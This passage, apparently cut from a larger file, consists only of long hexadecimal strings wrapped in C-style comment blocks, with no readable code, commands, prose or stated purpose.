4a42a45bed09c8f998d4d022d90af12164884943ae590a0001b40f0e7b1955b5293460ff343a25ee96cb3ea9888f637d86ce3cb4335e1a7b29ac5f66228862f381d5453dfde1a4e4a3164946453dc81529759af0c501599f561e6f155e7b9284bd632403342944c77e139ad00577c8ae6b315cca403bc1307d2969450c9a90d3876f58fedd019569fca4348e43765e8d0b3c689eba36fea760813f70cfb9fde07c616e850d23ea0b89a8c1bf760da298eb262a66b56527255495d3bad24bc0bf147cee5142faa7845ff1c7b2af70b142a35d85a12dc971fc5cbaaf6e8a53312b4294711750bb28067a20fa707a4b7d766d06f9ef84ea3f81f81a7bd9decc0427195e79ce56f9cbfa8d2554b4ffcd37f747fc59a233d147e92b55b4eccad90948052e9e817183d5b8ac9c4c7d6c9ef6d3c8d7587dd57cfa1614bc0bd4ff384cfe1269747efff3f7c810224685f06b1d76c6094116b999199c42eb46a2fb6e1e0c881b8e9d0498c00852e4dc5c3f9c7c3ea2b0f0a771ac1206eb3c2419ccd4a4539e265cda64dd4f3dc5c5bcc1f24abfc81eb047a6a238d3126d761305dcbc633acc6e8e218107b7a5ad61db14782dc232f0c7c657e87706b0517719f4ae29b0313da09224503828b3df6abd0d5f8bf0721d9e0baebf74b24bfc308abc81e33fa2d151e5587cc7b917836a3f43d7c630d804bb953871ba4da782e363931736d20d0d2aa2fd60fb306d781191a056265f87f7eeb967c7b748295e5c5d12ad48e7b9ca033bcf0410e9e254c93038a8525573e7a603847362c25265f3dceb5e0b81855b0a4657fab377698709a4bf9da2a00abb8fbf1737b2f49aecedbf1733e03a6cfefa9a406e34c69877588b450f01288b573b661306138b2897bf585b5f8c9562631e1d3568334cadab7f46d7ad9f34f8994fedf98dc3e1e4d0c895b114ff4be16fa5ebc4e7f193e62b7eb92e6bc74943e8ceb3675ff44c1162ef4f0bb9e4ceca9df9431648defd86bdcdf6fee3204e6779ed8a22ebece23591861ab9953d3d32ae8c8409d6673028739916edac9cd2cec0a6e5d8c3167e5fc2964c79caba0111b3f28fc229cba9663cfbddaca1084f7068d9620b71278c08a0b2222b3e439539d43698f8400a51328d7c05b9ff1f34219ec3f7490dbdfdd6a7c3088e31a25fa7ad6dc1652e607d20d3bd4676b1b1b06ce61c83800b366cd46d41145ef90c9c96e4bf0885e3e73a53a8014117a881ddb301c21347b5c2b4fd319bd8c2465121d3a146b23cd63807d6e4ce99f3775dd066388e49e3802e1d4b8800cbc8a9950b86f1130bb3c4f4f2c39be4d6473eb8884ff0c066b8b1033e98ba9f77c500*/
/*d8a5fbc208d95a5a51ea6cc755752567a14e0606e2f21403ee4b5a506d5f36ba294d205c88f15d28350420ea3e4c6464ac9a478fb20e6fe2c5bf84e5802935aade23d0d33d4595a1d7f8f5443953e587682be61d456c61f5f305563b283af74d1454dd2b49ca7b810e72788daa71d47480ab35d0886a23a30a1abb7df8d8627f3e9390422aa366f7cba5c47bf9031c35bd8f31c8e7ac4e872323c2a8bb5219f3ec9be0f368a9e5cb4471c4847a96c007e9dff7c2e79e63793330e95bfb5100dafe0e843ea890a39d1061d23b17019257350e29e784a33a5e358076f35a31f276afe3bfe5173bb0d30f5f6114b7ba8be8fb0deb3e6f185dd068ba0c8dc5e92e2eeafe7a95f488f801e5c3a9c0b2035c20c726e86849c5faed3cada6731b85325eb40e11997544031a8213fceeb895e1fe8b5bf309721f3b55ff87dece16fef96a878ae48ce547c8417713fca1df0d898a2f0fd2f0b24eda0779523f2e0a781192e99a8a2116799bfc47b66c7e8778c82a3e5d7ba6226b9d06bdb7df59fad764894b63982db24655992335a25cc834c169f1c2f5b0cfae6d2088485768e8faf3357dfabc7d83ead4a1a1ced0d5e2fc924245e4d66d1af0bd4e0bfd6e33a61fae45f9e39eb036e11a1e321304ec17a89d8cbc66e4808573774eb9cd3ac358254f28ff5e56ac206a74a3209a59cd8976e3df028bee1e12d6f74d93a34d08148209a19984b9d40b4edcf42a8a5c976e3d187ca2e32ab0326d6b493cfbceafedceba568bbb16709255c71f13813e51a4693fd13d15b56f2158d60c4ed8b79898a69dd5d34e4a48377a25417ae578a5c13a33e58eee925304d294702edddc3f9bbc899890c0469ed92076060fd2ce75221f8afb082383d63973a0d3417b503bec5ede0c8b8fa2f3d1b12234541daea4492688ae37489d9f89a9d18a3bed103b47e4d704703cb5cfce953b0779d24751139fc27161571bad8b79f4b032c8cf62fc29b2d01e50d461589cf942c966d32876ac72433f826c3bfd2906d28a216a8ff99f973061cc45a301c4bb0bbd286cbe0199194ff43f3bfec321c2c135ef51f5782de8fbf578fc1954464975e043b44ce409a9c96b768a9b93035426d83390d9d1cf86135367cbdb3c3a91f2ba86af6828fe0bf64fd4dd4b370538cc4aab52d929e48b89f248f278d60abf3c38b4ab884e7dba5d5f39f3461e6f78b1319ad5fc734a3bb6dc3454370ab3fb623565abf04d6e43a01f62caab2d2e18cbb1afcba27e122283ec84f7bffb8facce0e8e6676c221af8a804ef8dc275c46d2228d3d35cde4a2d0b35681331c5ab94e526ea391c9f828a65daa24b645de4c2f357b52bb5b2bae69f2b8095015f5940e5dc5830632b8a64f15be289a8a1e034fe6882be7a433ad3cc6593eac1fe9a38b6edd8b333d5ddb7b40c4d0a4bf50b4e91381d189d09d4035c69f52d5052077993049db157eb1cc88b1ab186ae1cffeabdb82f6278ac4cd8425cd88cd06424d3e361a2b416b74acdd319778b5f0efd2df1c7a4c7949b1a15a1525f329fe14c36448dc1fb5f49a042f72b5ec0bcf354207b858ec456a7778ebbd5610e533e50a85e6ad929c46a81f8043ef0a985d40cd3ac7cb35ff2caa2a03aee6916b6e374db33c54893bf055b53c52dcbeac6b898bab893ddc75221d3bb7a35438827464b4c0539a43faeec9875227b4ac121e92b6842f2c366f6cd1ac21884766ee204dcdd2546129fb9477295db17be7d9856634a0f031ce30e5d5aea7b895123ba8792309e04cf1ac7ca913c73c5ee83184897b60c734d2133d224170ce8e4ab911dd9d3dd649587a642220af45d1efc551b05a402501cb01f9851dbde44775fe8a75b9bbf720a3d1cd1c1ffa403c3b82debeaaca778209a74dd3d9f949240044349d5bec3aec88b1d5df6cecd0c4c4e0ebec81c901361f1a953d628b86ae83fcb1ffca137574025103a504b7d257837cf77f288faef4712fa94e7a6b82ba244ef25ed42365b6affa4146cb210ad10b9d7807a25805d0bf413afba041538aaafab21e96715f0fa9c9c3e1f00abb78c5af602242eb1dd3c6e297912f4aeee55a428301c9678846de0b9af8f850c01a04bdcd10e9515d8e9874ac0b0e5a819ec9fcd52feba9d03fb290e8ccad334d22a55b8e3aebe5e5ea2f1f5b100fd97f56d5edde3e0472667e74c5d48f712f3f09a74fbc3118f92e94ec352df92e92bdd937f3fdc937fc009c1d5dbb3205f8dcbad0ff74f62ad02aae437bb879be3bd5fc49d96e926cb5746c7cf1bf8073c0090281c6c14d0a44177ee59def14274f1176a8cd1072a0515fa916b330d4517317d5169c2ef7bcdd318328a02539a8fb5c6b46ef4e695ce8697a62ed36450342f64d138cbf2e8544f4b1c90a91cc7ea90fc80a2493757cbdf4608374b589de303fad91877a2cedb5cf12011762a05c90e0eab3a4b5f12c1531d125ab897b70079841a0cdc60d3b5091f68b57b02ad28ad23344a5d43923fd15c391e87703b195eab4af2271828f352ba8c1345b7bfebe2f3730719caca522d1fabbccd76708f927038b8268e72b9f6e9086819a819288b094ed663d0ca4fd8b2ba9288629d80e005fb6c611040da23c8ab1952c07d766e0713e630c9757b3d87129f35614aa25ec90e4baf39dd6174016a1a0ed57410e8daf3d8bcf4fa84eb0d2f570efae27dbe13dc4d65086e59d5833860f261b5153f1f2c9e13fbf798324111fd2b7e08f2daf4969a047276eb4a227b7084c5ccb950a49146ced287d3d7d4be965a9afb160a229c2cb9415a7783d488b5e3fa10f69609a6286b37137b785aab62e7b20be4a*/
/*e9f983c1ade327d7f95a334e415674e1a880fb592350204e1d86787c8a9fea57406f7bbdcb238c0fab2cf1a401bb5b2c6c3db4ded325ee0c6ce78a183ad3336027dce5c20ebff01d344e9e9b55b2fd89a1d2f17bf488595e4c7a5dcebc9669fcbce36fd054663940096c7eb0858700337d11238e75cbda7809f4708ca19b5eaa6b15a1df2bcdb6ff0e39da8eb8b06e14c12a234a9ad2a5fed4e5f3e26e1b68c6b1679eef0fb8c56bf3caf7e17671af95cf955726ec7ef443b242dd234c71689f2357c27721233b4465cd9933dbf8dd97974f81a10db35b8248a1cbf07404eb3ff6323eef1cc2c81c62d85d027b254a855cb0c081b2371d1e30af048f28614bbb24ef2feb822b61c3bf5c60daa6e5b29ae0bcfa954cb0135428e40f0e4f02a5d06ad1f48c5ca5feb58f5594605abab9405aec8009e81550362f7aa8d3ecdacc3e7d80b8c6ced119623df398be3636d824ad596b2737fd66cb6f4ad267f99da56b84d50c62e5805a1c58f77d9acce85a8af6127756ba9519ce512c098b1ce0360b0f3ae4dab2958e55ee35f01511d70712961888ae5b9c97f919ece310efe43278738316a0e48225e3146f0f9be91b3f64ee219353e104eb522e2f277bfa7951342baaa48ef599bea3d92124296118c19f3e1f29aca47ee528208304bcab57394babcf935a28ee96d3a013ceb6215821e50aafcbd6544763a8f966666cf08af317b66c10bb4c90e6ce9082e216da7dc17e2e8874319db7dd86dac47bc8c1df40a270a009b81e51a67f02ce9edf1faa68d12872c636318d12b4f5b31e395d161607415b56a95f20248aa8105ba188aabed59fe58a2fd933b497a35ca6d6095a538fab7236f4415eb525b28cd5c8de96ef43d689ef9984b5a325ab0d4501717fcd7fdb465716d82a8c3b2a93df5e2dbffd23047ca65850dfee02c0af876a57465e59be90e0330995240ba4554315d5d8349563a84071126d00b640e6236d6acc859d76054c9e60a712c8fa07333547c818a90eef836a1f6f5e624d19e94141a36bef5aff49e7f1f36c7809688abe51845eef6993a7708e77d97026ff64634cede5e2bb36471da4879d2bdf589855c5e4ff6510f70097661704fde19abe3835015442c6b2942cda9fbfa934bf006d2b4d25cef5c7f0ec13581acd00d02a3b53c27ecfe5f871ea7933cec163bd2e3a6acbd5d2378e4261364115bc9de1de6a6169d4f48b423a898dd1e6442c52fd51854621e6307e00f2545d028ed02bb92f5ede44ccaa0da8954a400eddab1dd355101bde3302d7e67fd9328a7f357df0a86539b332aeb129659c0b0bc5ddff3386b11303846dd01747f72bcdb8ad8b1f367dca851dc2b18461b204e4e13c562e7a8ace52da131a6891a74099d4a3ddcaab0a85204c8ad9f8deb19ca9c6c7171d0918cbc8370cf50baa9166d7f747b8394bf147e7077af6cbc75ae40235b4132a684e131012dd7612f6ada886ae082efb9528244a1b27b4c91e83f68927b2c05ddb9bd86cfe8e18cc0007972a9bc7408a7096e996662fba02310432e8c57a1112b36dc4ae0924acc774a13db892bd2ff4d4bc127395c60e57936897e178d8383db700de489b44d8d460f4f618a615b597989beaca9180b214ec419c2b4a23d89e4496fc83c9acbf611c4b857370170ea33ec72337ac11831d7b37a0b7c8d80155916aeed53e3131b7727becef55512561a918c27795807bfe8077717e024e83f1d49b728279a38dfcf33858ae59a6e56e55c3d21b845e13d7d7d6510fe4b0b5a54a2b6fc54af50bbb461f0ae3a95ddcab2a5f19673c43d4ba1dec8f6d0c4d5f59d01e4aa16ecfaa347fa4e747db4befec70b89f07f89cfd79f3eca321e053310233e9c2789d355d4d5e8d7e7b5475cd11b2653586a1a5c58b9387ebe89c0ce914732c6f152265dfa9027132c6eb66fc6ef76d2a182521ce5207c437117726cadb3b4a7160be5507fb6e2c03c4268b8671e870cb3d8f6584b9afa3eb56703b2d4970fd456a99bc69276a240e147c210487e991d39d5af979075714e34c0af8c3fe46d7364a98af09902d129658067750d901b1e5f136e52a717bd510f2b54e05a09123d709aadd595ab7491ba95741f2948eda0acff4650f50aaeaf48965e3ef383b12afb7569a47e91b4971f60716f360ee3d0243239f091c30d06f355d4b322888b05ad2dc5d341554f5521ebee9e58f91c789da49280a9abbc4c0a358e8bf12ff9527ecd60650f41471e1db3ed445b60b1509ff14ed6ed152e460968861b4d4de12435c588248739e7cc3628f2205cf23fab12ae5686a73623d0d9efbaf307e0ab4ade75cbb10bc1e2608101db1b10a44af64b5340c61127b0ad5a868cbc56429d649a9503193719204e9ab20874cd6568c86084100d51ff5a6b0d12f837f9eaa6f4778fba057ea67ca801e2ad443dbba3f7724170c217df5aa2b702f978f564c95df5b64fdb57d6f4b5753ad3d96553bc86712f57b821c30c8401d86b690601dcb21bdafb6e261c436fb4de4fe51ee4f24f6365b219774f0e7f3c26aa61ce451d9fbfc61deb8e1395b47ef04e6469f8d79af9e8b1e88b7b5a72354bdf5f0a49adbe205c8f45f9771db25cd53a171212dc5f44c682eafaae95e5c8416ba6505f9c56675214a8f4bf56f4201586491867824bbf900489b68a6b682b31d796b346d1ef9d7ed5e7096c5cb59c3a5301fc76ad2619bf5ade8d6c0a8c6dea2c33099d1c7a7589f7cce7edfe3ea10c9607869c1ef5177dbb7e6ac328989d2246523b44b7f24ccb8354cad7fd477a255e664a1ca6808882c9c716c71c611aa0a1f82ff0c6bf73210*/
/*74815ab268fdc4677bd0940fc1b76cdf4f1ac7feffcbf10a43169c1e83e6c4d278b2935f46efc33fce74c7732951ee482022fec1a460d44137227ef77662737d9fa5f92336e8a559f11b51f2a7393466ce1f6f75e9cc4f8ad8d6422d1e3f4feffea98c0bd4f4f38a3765ef660751dc9d1fbee63e45be9e8f8a15545a4e88471648f73753cd8a2cc1e2b9ebd35c17fd198281420c5a136e813ad4e00bf56ec259bd370f9a556b78c4291b517fa110bdccc623f74b5161aea2b03836e188c295926d5d18f3ac6740b6bfb3a5dc7437d951e6ec2b87ec4e82f4f670ee4ef150ee90a0a92cc22d951db30dc030aa67c68e724d83ca27b338d0775aa4e06ae69bf393d5192ade1612996aa01e21ed8f353c49f7ea20bde4ea7469f1f1e74d64968fcf9baeddceaf903b344b573be881319f2cba14f2bc5db9825e45063de0a9aa859099a105d0a287113e0470bad5541ea1289fbe1ec5ae07ec559dbc9349a748ae54f6973a1506bea6d0b35e7475c9c1fa65fa7d40b2e2aec8da3f5903042446f4156e77afb7826436cf84f6e42d2e258151491eb16aaabcb563414a5f121e75fa2e104e0af4b55de00ccb74f67567c6bf36d9ef4203c99ad8d094ff37bceb875a91c8e2e64de8d661f5f9a382d469a5a8b1c8e6ee68147490d9e3d22d7cf23b2f24b1ccc9d41ba1292ea96e160748b05f1207dbc23d2a98fdeec96dc4a2d687de7599bf3fa5bbe4305156b8644b5ce80c394dd6d48e8ddb87c412e15cb5001a8f748a982b60634e278400e90faf7871ad305dac0474b93a8fa1f19100bf1b95f382f3396b657ab5698755d890d55514a88cff55428f22f1ba8414d627c7f67ebe8683939d3ef579b00f2598999ec4d44ef20b78ae90c8d86f0fb2ed626aab8dcf9db8c0649f7e92f70d0d357fee5cb910cd95b7cdb257e8e4ddca5486f3479916abfde84f8edcd219211b1f1d03601dff71fc67de781ef47f7f3df3aa5392a629b45bbb910d0e617cf94ac73738a2bab232e4e4dd89e4895c813461e5ace3a4eefcf6d8ad9e8c579a6380bd4eee012d53b9fb51dea487e040794b7ad56a1a990d6ff39725fcce37a5871920cffbfcca6ff9f2a157a5a1b9d9488a077eb21e171972880b9365583609c0ef5e6d9c9b5465a1739871c4d5c4217d258514d7edfdcf51543fb30bfa31b411d133658c20ebfd1a3b7bf33a2f0622d0cb6f7a58afe195fbe549ee5979443d5fb872574991669ea73681a7b1060aeab317f5b4d3a7c384bf53e6156f20061a7c3744755a9d3693846c23e5d0ddbabfa90ae519631f0afc062698f596ad0ea6ede3ee5f73e584c2e0edc20c70fe2721a7b96aa00fa83e0efb230e5287b221fd5e091885b0e285d89c707a5f74e1807e1d7d3ae3154cba5bf783d6628ae0dea80aba83e3681e74a5b18bc096db3c6a29978ec80ee72f59925331576e7f404be01c3673c5de51426496c55af5e6396a10a73e65ff395ca999ea4b109b019c11d34fcec9453e389dfdb5fa6da6441e0d22c2aad2293b027154159a89b78a90123bbb0ef798dfe14d689f42fad02ff1b55bbcfb4958fb958594b9121c744caf16faa9b0d275ff87b73fd2d0de204f0fa54bdd21242c787408a9e5c13f5e91d02992ced0b3b3206dbf624b69af786adadccab30a815e09e0ddf5b1ace04c34c2f1c296612d396653ffdfccdad2993e60ba42e911f0254298436f1aaf831cf825ac959b08290436838ac892512d7f183d4602ec986e8fa2fccbfdba83fa87c6e74b46e6aa7cfc6da98172b0e3924959d6e77e6124123d4e8ea87b7f41a61a1ce279c9755ea7bdfa1f21d4db3b47a27942fbc92d4b7fc1e444e94179afea1e26b07f5cc798dada22161a34ecf2eb40e7d3c0ca5f6d24d4d1ecc345da22f283fe4a686b6af7248075ec4169aa213b571cec52f4e165fbee47bb185b4113f467fdc51691a3d3c7377f49d1e641b62d7fc2bec1b193c745ee0792be9a91820d2a2fc589a557884d2a237b5a8fb1d376ec902d844d9419c8192ddd220aab89c1e1c4a41e8af3676f65faf40e1e6261a0b4ce035bf48aadae370c922557f052b9ae3a1ec54a0f5585afc947c80e02e3feb514d4d67951517d41ccdfb1fd96852b4a51e51957c3df2a094190092fffd8d87f4bbfa0b40942a2a0b8a90f76e818cf3cc9f67d11fcbbf8a975fbe579872d3e271d9951686ff4b16f9cd8138ad33ae8887fc9f9ebac6026b5c7398d1e134a52d2e1e47494ba3eee54304fcfdb9e53d3b1e246d04ae1ffbb6b52c4588dd21cc6362ca9cd6a6d7885945b13d1cedfd7a7ff8f81ee56009031e1f99ef1c55df7e49818aa37e769dae2da253a1fffc44a23059e1180420d2c3d95b106d5dee1aa96feac72b04b3b399132dc9f2961d076c8ddc2c9d1f7fc7ce3f5ebaa2741432dc9fffd8b1a235fdc9b07f6a7fb9ef1da7251163b92850ffcaa5222577a23bcfb1f1d228294895decd007cf11bb84c3a6f79bb64c361aace6ad91f08547a484f1d056a570a9467ee673fa1f724e7213b033dd06780750db693351edc22348b036c534115c4dee9e06c48ab1742673fe6783974529f093a9755c3ea7efe7047a8d491adb2eb64d79503fe2f41620980a940637d899ac011412cf26f5a6d02b7a8dc9c5b9fbbe3798e0d4d13999c9b1779eabdf10fd7f832de59f49eecbb8d10e4864489b041a52f0923c96fbcd3cf13e5ea17f5754427b6accb527186e54b832747d18f25ec06efdcdd67e124f6ce6e0eea965a79eae6da9a1b84fe3cca94855b3dcea27126c3499355b70618f97d43e9e353e1d8acb8f435fa48e64554f6bf6*/
/*6ba5770b9c151823af3720920440e9a525bbc5db302fd6ef288d42641b17bd8e3f7b8604b86cbed232620b8afd35f1422778a7bf5bb35ae15d52bbcf5194c2193c93e919a61885c14b64a6da0fefcdca22cd0de161fa5a89ae1b22b3b596039e0e5e5009fccc65c1db3991739ddacc16df4431b38c686e889051ded45e7932235939f61b92ad03a6887371e97bc376a61428a76098badcfdd6368ca38cee512dff5c4ea9ffbd9ed16b0906087adfdcab86714f1d175d2d45e5c533bf3eaf0d75a60e0ff067c61b6dd0ae51b5667ec5b21c1b7ad04cc6088f93109e92e59d099f40fd90822ec6bed67f1be1a15b01d950343e78608d6bb433155be3fb0aa3b475af6b9c002e0ae10b9d21767d9ddb079883ea89f2b572bdb6d692c8a68cac6481199f650faccf9520868002903faaf8b31bd448fea146aa6a400c6ee03adae2ed5106fe12dbd5b4c0b45d044fdb94ecb87ff77560c543b80caaf9dedcf3619644b59640621345e1d61ba81c1b309d709a796d01111f065bde3523d0efd2aa1adaf9ac02f16e21725f48ec8ff288a8f72aaf59ed11af99e031700c6ff337cbe64beae3b4607b12c8e8f01bad82117b2f44c11efc55286a258a26c50dca28bb6bb6a86afcbead2ec315e6d0139a03e2c7cc409d3bf8aef5f3cfbad69abca46e1b06e6f91afc4bbbe214b75885081ecb29851e7e31d24ac51d011bf5e71fb0ee07c3a73f15a42b8a744d775bf81450357074c8ff9e443f572f270658cd9ba410e1a157f7de47fb068e01c893e3bdcaeebc81867e989b27a7203e890057eca3ba4754228363b6f30c4773a0100d604882625cfb07a8b4f025b1f93bcc1ce688f5d7446d50b2f10d26f43ef3fcf5d241d0a14a9461dc74c36d615f01b11b380f069e755af71725188214759548b5a2d27b327dc216e5fb8e960b7297945aa5fb8d7b532430373cb282bdef628a444c7ff914b17a404f8c1baccf8bb6949a0b825ad1ec9bf2b45859ef8257f4e65b76e6d0c343aab100ace7f46ff3bf7dba4791d15c24f76cf8e32bbea3448762e2e7428d6d427541571886b520367c895a60124286355d6d2eff7deffd03dae485ef97b087cabf2f00a2023b26397db8e82a8a6232cd189958e42834254dcae3ef1521ddde9d4b4e40591eecfdfe55594b758802e8d55139c51087297d9e73795e936ba24fd80f852cf1e31044f7f9fd74ab6c7f01c6003d129b801062d333741505c20c1dc3b72e94a0e66952aba13ee01b6ebbf93bf8ac876583fa27dbb82b22b537bb4224a27ccd232a91d388e5241a2230b4521f069bdd9157e8b118270777f6f3faee502190f039823835f9c79796d0f5e4f2a9c48535277c1be673726da5923611db4bc5c944c9c240808866efa775c2a51a5a7d132a6701a980cbb3413e8d2474ff612e95353869af32c41969eaff0e23685e50cc485d52f0af0b5873ae26e975d65228b52c09f6fb8ed3f8ec31925bd1e1622b7b09893871d427c6df6f3eb7f8125b4f47eb62834709e1c923ff870ec573df356c27163da0823b4d49eaae53139fd310a46d565795cb400096872a4aa0aac2cffec8ec59fa10bcbdb68a46ba2547cb6c6488df245c69db110249423d02b1c728f707869b147384ac31142f461071ec7bbd96ba090e070871445d5c72d308d4b90f9b92bc6d5d59cc6611f203d8149cd84a8e1677b7e2ea73451ba3aa901d210ab80dda6e0214d245a6e0a8601bf75e60db39238b9f6d4ed0f40732203d7243a5525447b65f3abe1d5d2f8e563d77ae1e12f88d1fc55cdb527e6bada705949f836bde0bf42249db527dc9ea8570e752eeab2f603c094617d4cb44e9aa5913c1daf87eb1a4f8e4c24134bd7e34eef79ec3b89c0a65bba84c3fc3c03f3eb2c9a4fef739ef40a1e9b38969d1680d93911d1a5398ccf785914ab23de9c960034f01dd177d2c415f346beb8f6e8a8d98400abb3e5d2dd172e79ad9fc4f768794c9f20de8f30671184f0c4f6b3b7f14c8e66b1c11748e9d10e7df2ec4eb803dac8f1ebef2930a5ff8c2571c6601445e2da477f71c110416c8acb6cf61817b58ac72d802c74927f961b393edd6702d3fe564b73e4fe4764cdff53a48ef6af6bcff37f6b6603c2f1be849287ce33e8f85a30b97b09dc35cdd79adff90064dfc471567412e0f413a3537a8acc9feb4edd836b8a72cfb457732fa4b405d2591db70c5bfd29c74d0a05fb6b697385ea9d17146a31347d65de81ef770d30e6eb6876b0658fe46b6ac54dfcef7fd201653eda202ad489f2c96318547a9d627ae47811a2f4a968ec19990f40af25f3f13368e15ee983051fdafea3b83d896fe6041140b6aca92b74ce0a3a764ac328658c5b4a6e6b645099bc3ba0bf57b55a3bea616aebdf22a96ad5959109b02d347127b1c8548f6f0d82c0fef5959416a98504e0c86371b75996a6a0949ca86d91ffb1d96cbe755b8de523f3e13e8ac6f28b24abdcfa10415fb1ae6a9d416581378144a79311641352f47356a2c56b0703e3efbf7b2d7f5981832ffb2a873c7cadef07d423ddcfe12c3dc8955f0b74253f76ec00b7f6ea0a99f71923101d817d8bb3fec53ac7401a10a071c99f71a4008f3b82f12071a128b7de79ba11558e240a4710ee859720b61268058abc436649de3d9e1eae433273c0fc82b34301e31e5607e2e52037f4c197e52ffd39159b0a86fd1d30231926a45b0fbbd2883c960faa260b745a4d0facd344f5972ec17a8b2036acaa915d58c9ef7904a809273b8d4235ec930c3830c068eb7bd96b34a98dcb67524601f9e2d8337ba77b37fd1d20dfd4247ca10ba2e66*/
/*f6e0775deb57f279eb373aa405a24af7c47b2db710588c264c1c7620a3a85c766f1ce9ecddc787d94f9276f06439bd9f77480559b509e11d2e6e9d2b9f8051bb01b44d89137b33a6d8bb8b0c0515b9fc7664e93ebd6a115ac65a256dbc603bb8e85269513aa664e46b706d480475e598d22190052ccf1ba09c21cb5b461fcbf55a4f8e0109bef63c74e74b9ec14d67a545ea1b7b4b951ef4d5860eebf15c65158116c8f566910995c57539947c1396f4c68949c912a0d25e8d17139cc4189c5c36cf5ddb7c87a5718239c6aa9ccbbbecfc859632a9cb39741752e7198fc89802a0dd91e9abb30f75ea262e8011490fe785c6c0997af38c2af411cc2f91f25e5c889d745b1f8ea18278a10f84b23810bee4725ec64447c79bfcf55c4bf22fa6d3a01e334750f644590002085a397b55d09ba7de2d5407c617c01bb513774847db2f10574417fdc7e1ce958201e36d5e0ba113054596e62fbe4b9cf626b14c413db47e153fb6a9b5a91a4b7294124cb2cb2585057d4adc15d56eb66498e7345cbc6ea28b61a9db5125beb66cc41d3fdd06f7eb22fcb20a9eaa3e453a0db1b4c8811054b503de74f393e3be9e71d9ac1bdd0d2bff21bc53d2d2b24bc078f735c3612d7f2832ea1ae08cdd01524637bad74af26c72ec7a61ff11293830fdfb2c303de60cbba087a2e1833bc208ed18f429482448a302ca55ea0c9ddbc010d7c0f1d9cff34976b5a329771c389c59337ad6538757a136d6fc435df199d91ad8be96c1b04da836d408fc27f919099d85b4721ce93521b326f8f183e3343eafcc93eb9d9ec4d70f9d06d71ceab9f243322c6999262d0cb73c76b26c7afa194228dbca24c0109ffde8a84f50086ba8a69d1a179d2473368dab1ffb72f508c1e8b132c6db169dbc208bd8a2f5941a63d8eef0ec45110949961a2b12406ae1e528adc55d3908413ab32aa9d83ac8865ea08478424a71e01b623c9823b8ce57032f8ecc77bd5f83bb4c6571e54dd017f9ce702216aad225c21120371c0b7793c6c78035126acde6c8b91e75b298b0229e966f4fc204fff24ecbf76df07df92b075f0631b72d06ebd0ea44db7853b8f6ec86883fb69acc215d55409f511906db421e86498d5865d225a76aa2373f064b63af13916032b6d3aa6c3ca265e7c49601cb697fa7a3e44b1732eb9554c306db73111b13469f0c46e26f14bab2d14950991fa09528cf6d37b1c03daa5fdebb44ce72d2a5b0407f4be06c6e1acca0864381b3d29ac8fae556bbfe02d0e6c05f90273d791d87a3f79589cb63c698ba77742b0bb26a0f927376fc6797c8a67594454f1215ccfd943f4786649e017db4ab10ddb2c38e68c8af53327dae7a6aae44d1cceee4de158195ab8ac52d6a5663f95a342d9c3ca257b95d79e024e44d23ad0d114b6364594276144fcee43078291cfbe5a6f3d611e0a3815b078495cf4952ceabf1d0e7a4070636f61e400db0673b9ed2b838e9607697b33371bf1939b9ccfebaf1fb170f8f6c60d527a56e26896f31a708f89a6b43e96e46e18d1ec2706aaf7c845ad18c19fdc4f8e233ac69610056104b1d4caacd1f4f3d11b4b67c124693c683e9d053bc596476a279248d514ad7114dde416c118cd1c6d205b8011323880477f480d573b8463e62c5a3d4e357358d04b496ecfbdd3e253dda987e3f53f1e2970fd3093fb337873f8a1792ba7eac45020fcda7b1cb4ff285d90fc94bf08c445acafcad2e8108641397e0f2b702cac4e2ac9bb4cf3c23636ec64cb5cf044a92c7c84b5c4b894da1560389ba2464248c1e9a8dde365828112a27b497254d87334a80d28a2fba60d8d1644d7162bf0cc2aaebd66608b2b93e0145ecf9a62d2b3aa4f0352ba5914beb5445e8392d64f31da6dbc10e677c4794e05e84469f3e2b26c32ba68e92a430d2e1188e3b41c268edbc50dbaa05b068efaa46aca3a610b1290ca6d15fd3af47dce570b072aca5e42952adcce883d6792befcca3462cb9a1bbb7b352df1fab67cefb5e7f092838da04c22056e7509b9082ed9ce0152b9681b7f5d1bc08f98cceaaacb338731be50064064b887c54b2e46c9c96d558862d9db6c5c7886d9076a40c4061872284d6b61337d34e19af2e224b0e635aaf683ef62c396b1f38b8db7626f0a9a52e97c1f2070e9e1dc2030fc0a80e79f0d34e5e7726105469b1b2e315ccdf8164631684ec0943d90df07d08db623984cde9f51757da853bf76ac023a31a4a21541914fc3ded6b194473ec4e9d011c1b73e6fcb87efa9514c0a10dc04bea13ae7907c40e6ed2155ae1d49cbd5fc9e5be607ca83909e213858f26e2f499ac532cb61e51001e08785a79a1b21d9f5feae3b591de4fc17de740a45e32cbd920d9b74b723cf5bc94248233dd3b1010a85891a49389e06140d2d507476ead28b37a12f1ace3fea20e1ff267aaf35875dca1f7623b7d990a7a6fca9b8f5f2fd4e8213c33837326994f4d3d0a16542bbf50e77638e5122d6524c776686223158cc2b243db38be3112697e93dc1d64204c8ecff4d70ed8066b4b5f8e7ee0382e5d7cb92b753211f1b08762f7b244473b867af27437326f7b031291e8f60e36ff981ebed97844ba896c872791f95b3166d884f90680339958235e7a35cb7260b2a466bface73fbc4863dea3df19a49259a519161cf80360d9614b0d2152b172bc1936b2f53c4a6e3332c1a374e0c2e2cb47d365c82659daac1219f19cc135e3a52ff34ddebe521c671c2c44292d71ef581e5d2ac0bf1365c844580f413d2ef6f7167fc9c3f6854598cbcd60af88048434399b24b6badd5bc00747b07ad75106*/
/*c6dae28478c405b4dc1220d289b64d7a237e42c598e7b09a0a426c4c7897e29ff3c3c8428d16af0e4af9e736a719e586f786a66c3f4244c3670de9c4c80f4681b58ce27d78818ce0382373925fcdcf6779470c3d1cd93581eeeb049e3e2794c991c04a8d1227674c328eb4774e888ca43b9507267848416deaf34e8f9ad5dd6fbbe99495943ed76217305f4e8aefe8c602c7a069f79fcb3f7d15dc2c877ddb98fb236a4daf0acd19da8b8d57cd1f0ae2c64047a316eaefaf7964d79d1c87b3219fbd3da784768e1402af87c0a0c78c11bf86fc7e3bdb6747681ac14c75427020a604004936b116f2054e3711d5e60e2878c1ecdc68878bc3f30de81824da284082e400c27f0f81bf35170a4bde944f660535d3c67601e0861549ff4058d08b3aee6f3995e8be04653c071a5bb1ca59f6e6817e5a8c7ebc7dad0f9faee4e05e95e867c4b4f5e7206920383a3c2b519e3637a64fb0155df85e2e7295fb48d0da780633bac610418d676850653e0918f26a340de30f94aa0c92788f713577706a7df6bba6d6917dc0d1608f6a85a066e2da4eb0cd016e1e75224a5eb493715979e6daa617a7bb1c4fd303cbdd0835269bafb375fdce66ba3cf746164e3b4bf46a0d94c847ff933c51d3588541896042563492fee3ed899a4886f0e00458a26cd74f4be25b